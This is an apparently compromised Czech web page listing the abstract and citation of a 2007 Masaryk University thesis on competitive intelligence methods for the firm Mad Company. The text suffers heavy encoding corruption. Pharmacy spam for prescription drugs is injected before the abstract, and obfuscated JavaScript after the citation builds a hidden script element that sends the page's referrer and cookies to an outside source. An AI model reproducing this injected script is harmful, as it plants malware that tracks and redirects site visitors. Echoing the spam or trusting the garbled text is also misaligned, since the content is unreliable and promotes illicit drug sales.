PAi??Ai??padovA? studie Metody Competitive Intelligence, jejich aplikace v prostAi??edAi?? firmy Mad Company s.r.o. a uplatnAi??nAi?? pAi??i otevAi??rA?nAi?? novA?ch zahraniA?nAi??ch trhA?

Případové studie

22. 4. 2009

nolvadex purchase adderall uk. neurontin reviews online pain meds no prescription diclofenac gel canada. . cialis generico dall'india. , dapoxetine reviews. DiplomovA? prA?ce ai???Metody Competitive Intelligence, jejich aplikace v prostAi??edAi?? firmy Mad Company s.r.o. a uplatnAi??nAi?? pAi??i otevAi??rA?nA­i?? novA?ch zahraniA?nAi??ch trhA?ai??? pojednA?vA? o principech konkurenA?nAi??ho zpravodajstvAi?? a o moA?nostech jeho vyuA?itAi?? v praxi. PrA?ce stavAi?? na teoretickA?ch konceptech, jejichA? praktickA? aplikace je prezentovA?na na rozboru trA?nAi??ho prostAi??edAi?? spoleA?nosti Mad Company, s.r.o. V A?vodu prA?ce jsou struA?nAi?? pAi??edstaveny definice termAi??nu Competitive Inteligence, vymezenAi?? oblasti zA?jmu tAi??to disciplAi??ny a moA?nAi?? zpA?soby jejAi??ho vyuA?itAi??. PrezentovA?ny jsou rovnAi??A? relevantnAi?? informaA?nAi?? zdroje, jejichA? vyuA?itAi?? se v A?eskAi??m kontextu jevAi?? jako nejpAi??Ai??nos­nAi??jA?Ai??. AnalytickA? A?A?st prA?ce se vAi??nuje aplikaci metod Competitive Inteligence do praxe. S ohledem na informaA?nAi?? potAi??eby sledovanAi?? spoleA?nosti jsou formulovA?ny poA?adavky na vA?stupy informaA?nAi?? analA?zy. NA?slednAi?? je zkoumA?no konkurenA?nAi?? prostAi??edAi?? firmy na domA?cAi??m a jednom zahraniA?nAi??m (francouzskAi??m) trhu. PrA?ce je zakonA?ena shrnutAi??m zAi??skanA?ch vA?sledku, na jejichA? zA?kladAi?? jsou formulovA?na doporuA?enAi?? pro budoucAi?? obchodnAi?? strategii firmy.

Odkaz: http://is.muni.cz/…ni_prace.doc

Citace: KulhavA?, LukA?A?. Metody Competitive Intelligence, jejich aplikace v prostAi??edAi?? firmy Mad Company s.r.o. a uplatnAi??nAi?? pAi??i otevAi??rA?nA­i?? novA?ch zahraniA?nAi??ch trhA?. Brno: Masarykova univerzita, FilozofickA? fakulta, Asstav A?eskAi?? literatury a knihovnictvAi??, Kabinet knihovnictvAi??, 2007. 126. s. VedoucAi?? diplomovAi?? prA?ce Mgr. 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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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_0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}

Rubrika: Případové studie

Zveřejnil: Martin Čech

Štítky:

Sekce: Profesionál, Podnikatel, Student

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